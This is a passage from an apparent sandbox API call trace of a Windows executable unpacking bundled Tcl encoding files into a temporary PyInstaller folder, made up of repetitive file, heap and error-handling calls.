dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.021] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.021] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.021] GetFileType (hFile=0x10c) returned 0x1 [0036.021] htonl (hostlong=0x47525100) returned 0x515247 [0036.021] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x560247, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.021] htonl (hostlong=0x16020000) returned 0x216 [0036.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x216) returned 0x550600 [0036.021] htonl (hostlong=0x16020000) returned 0x216 [0036.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.021] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.021] htonl (hostlong=0x43040000) returned 0x443 [0036.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.021] htonl (hostlong=0x16020000) returned 0x216 [0036.021] htonl (hostlong=0x43040000) returned 0x443 [0036.021] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.022] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.022] CloseHandle (hObject=0x10c) returned 1 [0036.022] GetLastError () returned 0x0 [0036.022] SetLastError (dwErrCode=0x0) [0036.022] GetLastError () returned 0x0 [0036.022] SetLastError (dwErrCode=0x0) [0036.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.022] GetFileType (hFile=0x10c) returned 0x1 [0036.022] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.022] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.022] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.022] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.022] CloseHandle (hObject=0x10c) returned 1 [0036.022] GetLastError () returned 0x0 [0036.022] SetLastError (dwErrCode=0x0) [0036.022] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.023] GetFileType (hFile=0x10c) returned 0x1 [0036.023] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.023] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.023] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.023] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.023] CloseHandle (hObject=0x10c) returned 1 [0036.023] GetLastError () returned 0x0 [0036.023] SetLastError (dwErrCode=0x0) [0036.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc") returned 69 [0036.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1254.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.023] GetLastError () returned 0x2 [0036.023] SetLastError (dwErrCode=0x2) [0036.023] GetLastError () returned 0x2 [0036.023] SetLastError (dwErrCode=0x2) [0036.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc", lpFilePart=0x0) returned 0x44 [0036.023] GetLastError () returned 0x2 [0036.023] SetLastError (dwErrCode=0x2) [0036.023] GetLastError () returned 0x2 [0036.023] SetLastError (dwErrCode=0x2) [0036.023] GetLastError () returned 0x2 [0036.023] SetLastError (dwErrCode=0x2) [0036.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc") returned 69 [0036.023] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.024] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1254.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1254.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.025] GetFileType (hFile=0x10c) returned 0x1 [0036.025] htonl (hostlong=0x43040000) returned 0x443 [0036.025] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.025] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.026] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.026] CloseHandle (hObject=0x10c) returned 1 [0036.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.027] htonl (hostlong=0x30000000) returned 0x30 [0036.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.027] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.027] GetFileType (hFile=0x10c) returned 0x1 [0036.027] htonl (hostlong=0x5d545100) returned 0x51545d [0036.027] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x56045d, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.027] htonl (hostlong=0xd020000) returned 0x20d [0036.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20d) returned 0x550600 [0036.027] htonl (hostlong=0xd020000) returned 0x20d [0036.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.027] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.027] htonl (hostlong=0x43040000) returned 0x443 [0036.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.027] htonl (hostlong=0xd020000) returned 0x20d [0036.027] htonl (hostlong=0x43040000) returned 0x443 [0036.027] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.027] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.028] CloseHandle (hObject=0x10c) returned 1 [0036.028] GetLastError () returned 0x0 [0036.028] SetLastError (dwErrCode=0x0) [0036.028] GetLastError () returned 0x0 [0036.028] SetLastError (dwErrCode=0x0) [0036.028] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.028] GetFileType (hFile=0x10c) returned 0x1 [0036.028] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.028] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.028] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.028] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.028] CloseHandle (hObject=0x10c) returned 1 [0036.028] GetLastError () returned 0x0 [0036.028] SetLastError (dwErrCode=0x0) [0036.028] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.028] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.028] GetFileType (hFile=0x10c) returned 0x1 [0036.028] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.029] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.029] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.029] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.029] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.029] CloseHandle (hObject=0x10c) returned 1 [0036.029] GetLastError () returned 0x0 [0036.029] SetLastError (dwErrCode=0x0) [0036.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc") returned 69 [0036.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1255.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.029] GetLastError () returned 0x2 [0036.029] SetLastError (dwErrCode=0x2) [0036.029] GetLastError () returned 0x2 [0036.029] SetLastError (dwErrCode=0x2) [0036.029] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc", lpFilePart=0x0) returned 0x44 [0036.029] GetLastError () returned 0x2 [0036.029] SetLastError (dwErrCode=0x2) [0036.029] GetLastError () returned 0x2 [0036.029] SetLastError (dwErrCode=0x2) [0036.029] GetLastError () returned 0x2 [0036.029] SetLastError (dwErrCode=0x2) [0036.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc") returned 69 [0036.029] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.029] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp1255.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp1255.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.030] GetFileType (hFile=0x10c) returned 0x1 [0036.030] htonl (hostlong=0x43040000) returned 0x443 [0036.030] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.030] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x443, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x443, lpOverlapped=0x0) returned 1 [0036.031] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.031] CloseHandle (hObject=0x10c) returned 1 [0036.032] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.032] htonl (hostlong=0x30000000) returned 0x30 [0036.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.032] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.032] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.032] GetFileType (hFile=0x10c) returned 0x1 [0036.032] htonl (hostlong=0x6a565100) returned 0x51566a [0036.032] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x56066a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.032] htonl (hostlong=0x29020000) returned 0x229 [0036.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x229) returned 0x550600 [0036.032] htonl (hostlong=0x29020000) returned 0x229 [0036.032] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.032] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.033] htonl (hostlong=0x43040000) returned 0x443 [0036.033] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x443) returned 0x55e278 [0036.033] htonl (hostlong=0x29020000) returned 0x229 [0036.033] htonl (hostlong=0x43040000) returned 0x443 [0036.033] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.033] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.033] CloseHandle (hObject=0x10c) returned 1 [0036.033] GetLastError () returned 0x0 [0036.033] SetLastError (dwErrCode=0x0) [0036.033] GetLastError () returned 0x0 [0036.033] SetLastError (dwErrCode=0x0) [0036.033] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.033] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.033] GetFileType (hFile=0x10c) returned 0x1 [0036.033] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.033] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.033] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.033] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.033] CloseHandle (hObject=0x10c) returned 1 [0036.034] GetLastError () returned 0x0 [0036.034] SetLastError (dwErrCode=0x0) [0036.034] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.034] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.034] GetFileType (hFile=0x10c) returned 0x1 [0036.034] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.034] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.034] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.034] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: 